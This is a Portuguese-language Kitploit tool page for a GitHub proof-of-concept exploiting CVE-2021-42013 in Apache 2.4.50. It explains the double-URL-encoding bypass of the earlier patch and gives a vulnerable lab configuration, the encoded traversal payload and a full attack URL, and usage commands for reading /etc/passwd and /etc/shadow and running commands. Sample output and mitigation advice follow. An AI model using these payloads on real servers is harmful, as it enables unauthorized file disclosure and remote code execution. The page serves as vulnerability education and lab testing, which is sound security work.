Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-42013 — Exploração de prova de conceito para CVE-2021-42013, demonstrando travessia de caminho e execução remota de código no Apache 2.4.50 através de bypass de codificação dupla de URL do patch do CVE-2021-41773. | Kitploit
Ferramentas/GitHubGitHub/joapath/cve-2021-42013
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Exploração de prova de conceito para CVE-2021-42013, demonstrando travessia de caminho e execução remota de código no Apache 2.4.50 através de bypass de codificação dupla de URL do patch do CVE-2021-41773.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (bypass do patch)

Somente para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.


Descrição

PoC desenvolvida para demonstrar CVE-2021-42013, presente no Apache HTTP Server 2.4.50.

Este CVE é o bypass do patch que a Apache publicou para o CVE-2021-41773. A versão 2.4.50 tentou corrigir o path traversal anterior adicionando uma validação que rejeitava as sequências .%2e e %2e.. No entanto, essa validação era insuficiente: não considerava que o mesmo resultado poderia ser obtido com dupla codificação URL, deixando a mesma superfície de ataque exposta.


Relação com CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Versão afetadaApache 2.4.49Apache 2.4.50
Encoding utilizado.%2e/%%32%65%%32%65/
MecanismoSingle encodingDupla codificação (bypass do patch)
RCE possívelSim (com mod_cgi)Sim (com mod_cgi)
Versão corrigida2.4.50 (patch incompleto)2.4.51

Por que o patch do 2.4.50 falhou

O patch do Apache 2.4.50 adicionou uma validação em ap_normalize_path() que buscava literalmente as sequências .%2e e %2e. no path da requisição. Se as encontrasse, rejeitava a requisição com 400 ou 403.

O problema: essa validação era executada sobre a string antes de uma segunda passada de decodificação URL. Se o payload estivesse duplamente codificado, a validação não encontrava a sequência proibida porque ainda não estava decodificada — e quando finalmente era decodificada para resolver o path do filesystem, o ../ já estava presente e o traversal ocorria igualmente.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validação 2.4.50 busca: .%2e → NÃO ENCONTRA → deixa passar
Primeira decodificação:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificação:   %2e%2e/         → ../
Resultado:        traversal bem-sucedido

A correção real veio no 2.4.51, onde a Apache reescreveu a lógica de normalização para resolver completamente o path antes de aplicar qualquer validação de segurança.


A dupla codificação — como funciona

%%32%65 é a representação duplamente codificada de .:

root@kitploit:~
.  →  %2e  (encoding padrão)
%  →  %25  (encoding do símbolo %)
2  →  %32  (encoding do caractere '2')
e  →  %65  (encoding do caractere 'e')

Então %2e com seu % codificado e os caracteres hex codificados se converte em %%32%65.

Uma primeira decodificação de %%32%65 produz %2e. Uma segunda produz ..


Condições necessárias

CondiçãoDetalhe
Versão do ApacheExatamente 2.4.50
Diretiva de acessoRequire all granted no diretório exposto
Módulo CGImod_cgi habilitado (apenas para RCE)

Ambiente de testes

root@kitploit:~
# Imagem do Apache 2.4.50 com configuração vulnerável
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

Ou manualmente com Apache 2.4.50 e esta configuração em httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Uso do script

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumentos

Exemplos

root@kitploit:~
# Ler /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Executar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando com espaços
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Output esperado — modo traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass do patch do CVE-2021-41773 via dupla codificação
  PoC com fins educacionais — Somente em ambientes próprios
============================================================

[+] Modo: Path Traversal (dupla codificação — bypass do patch CVE-2021-41773)
[+] Alvo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construída: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando requisição...

[+] Servidor vulnerável! Status code: 200
[+] Confirmado: Apache 2.4.50 com patch incompleto
=== Conteúdo de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Output esperado — modo rce

root@kitploit:~
[+] Modo: RCE via mod_cgi (dupla codificação — bypass do patch CVE-2021-41773)
[+] Alvo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — patch incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigação

  • Atualizar Apache para versão 2.4.51 ou superior.
  • Manter Require all denied como valor padrão.
  • Desabilitar mod_cgi se não for necessário.
  • Nunca confiar que um patch está completo sem revisá-lo: a análise do diff do 2.4.51 mostra que a correção real exigiu reescrever a lógica de normalização completa.

Referências

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

PoC desenvolvida com fins educacionais para portfólio de segurança ofensiva.

Baixar ferramenta
ArgumentoObrigatórioDescrição
--targetSimURL base do servidor (ex: http://localhost:8080)
--modeSimtraversal para ler arquivos, rce para executar comandos
--cmdNãoComando a executar no modo rce (padrão: id)